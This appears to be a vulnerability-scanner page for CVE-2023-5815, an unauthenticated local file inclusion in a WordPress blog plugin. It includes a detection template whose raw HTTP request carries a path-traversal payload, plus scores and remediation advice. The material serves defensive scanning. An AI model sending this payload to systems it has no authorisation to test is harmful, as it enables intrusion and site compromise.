News & Blog Designer Pack – WordPress Blog Plugin <= 3.4.1 - Unauthenticated Local File Inclusion
CVE-2023-5815
Early Release
Description
The News & Blog Designer Pack WordPress plugin up to version 3.4.1 contains a remote code execution caused by local file inclusion in the bdp_get_more_post function, letting unauthenticated attackers include arbitrary PHP files, exploit requires AJAX request with crafted POST data.
Severity
High
CVSS Score
8.1
Exploit Probability
33%
Affected Product
news_\&_blog_designer_pack
Published Date
November 30, 2025
Template Author
daffainfo
CVE-2023-5815.yaml
id: CVE-2023-5815
info:
name: News & Blog Designer Pack – WordPress Blog Plugin <= 3.4.1 - Unauthenticated Local File Inclusion
author: daffainfo
severity: high
description: |
The News & Blog Designer Pack WordPress plugin up to version 3.4.1 contains a remote code execution caused by local file inclusion in the bdp_get_more_post function, letting unauthenticated attackers include arbitrary PHP files, exploit requires AJAX request with crafted POST data.
impact: |
Attackers can include arbitrary PHP files, leading to remote code execution and full site compromise.
remediation: |
Update to the latest version beyond 3.4.1 or disable the vulnerable AJAX functionality.
reference:
- https://wordpress.org/plugins/blog-designer-pack/
- https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
- https://www.wordfence.com/threat-intel/vulnerabilities/id/2f2bdf11-401a-48af-b1dc-aeeb40b9a384?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2023-5815
epss-score: 0.32645
epss-percentile: 0.96641
cpe: cpe:2.3:a:infornweb:news_\&_blog_designer_pack:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: infornweb
product: news_\&_blog_designer_pack
framework: wordpress
publicwww-query: "/wp-content/plugins/blog-designer-pack/"
tags: cve,cve2023,wordpress,wp,wp-plugin,blog-designer-pack,lfi
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=bdp_get_more_post&shrt_param[design]=../../../../../wp-login
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success"'
- '"data"'
- 'wp-login'
condition: and
- type: word
part: content_type
words:
- application/json
- type: status
status:
- 200
# digest: 490a004630440220051ed5e07c92cfe8f9cb13fac5558ad73e31ead0ad568eeda275a5e9719346d3022058c81886d8d5f565b99d925a27738e17480513f7a3b21b7acc6adae5106eac4b:922c64590222798bb761d5b6d8e729508.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2023-5815
Remediation Steps
Update to the latest version beyond 3.4.1 or disable the vulnerable AJAX functionality.